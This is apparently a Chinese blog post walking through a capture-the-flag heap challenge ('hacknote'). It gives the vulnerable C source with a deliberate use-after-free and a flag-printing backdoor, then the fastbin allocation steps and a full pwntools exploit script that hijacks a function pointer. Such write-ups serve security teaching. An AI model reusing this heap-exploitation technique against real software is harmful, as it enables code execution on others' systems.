利用UAF漏洞

原理

内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果

程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note { //结构体
void (*printnote)();
char *content;
};

struct note *notelist[5]; //结构体变量
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts(“Full”);
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts(“Alloca Error”);
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf(“Note size :”);
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts(“Alloca Error”);
exit(-1);
}
printf(“Content :”);
read(0, notelist[i]->content, size);
puts(“Success !”);
count++;
break;
}
}
}

void del_note() {
char buf[4];
int idx;
printf(“Index :”);
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts(“Out of bound!”);
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts(“Success”);
}
}

void print_note() {
char buf[4];
int idx;
printf(“Index :”);
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts(“Out of bound!”);
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}

void magic() { system(“cat flag”); }

void menu() {
puts(“----------------------”);
puts(" HackNote “);
puts(”----------------------“);
puts(” 1. Add note “);
puts(” 2. Delete note “);
puts(” 3. Print note “);
puts(” 4. Exit “);
puts(”----------------------");
printf(“Your choice :”);
};

int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts(“Invalid choice”);
break;
}
}
return 0;
}

利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk
在这里插入图片描述
这里content内容存放的一个指针

uaf漏洞

在这里插入图片描述
free的是两个chunk,没有把两个指针free掉

存在后门函数
在这里插入图片描述

利用方式

1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)
在这里插入图片描述

2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可
在这里插入图片描述
3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1
在这里插入图片描述
从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)

链表的结构
在这里插入图片描述
5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
在这里插入图片描述
6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

exp模板

from pwn import *

r = process(‘./hacknote’)

def addnote(size, content):
r.recvuntil(“:”)
r.sendline(“1”)
r.recvuntil(“:”)
r.sendline(str(size))
r.recvuntil(“:”)
r.sendline(content)

def delnote(idx):
r.recvuntil(“:”)
r.sendline(“2”)
r.recvuntil(“:”)
r.sendline(str(idx))

def printnote(idx):
r.recvuntil(“:”)
r.sendline(“3”)
r.recvuntil(“:”)
r.sendline(str(idx))

#gdb.attach®
magic = 0x08048986

addnote(32, “aaaa”) # add note 0
addnote(32, “bbbb”) # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值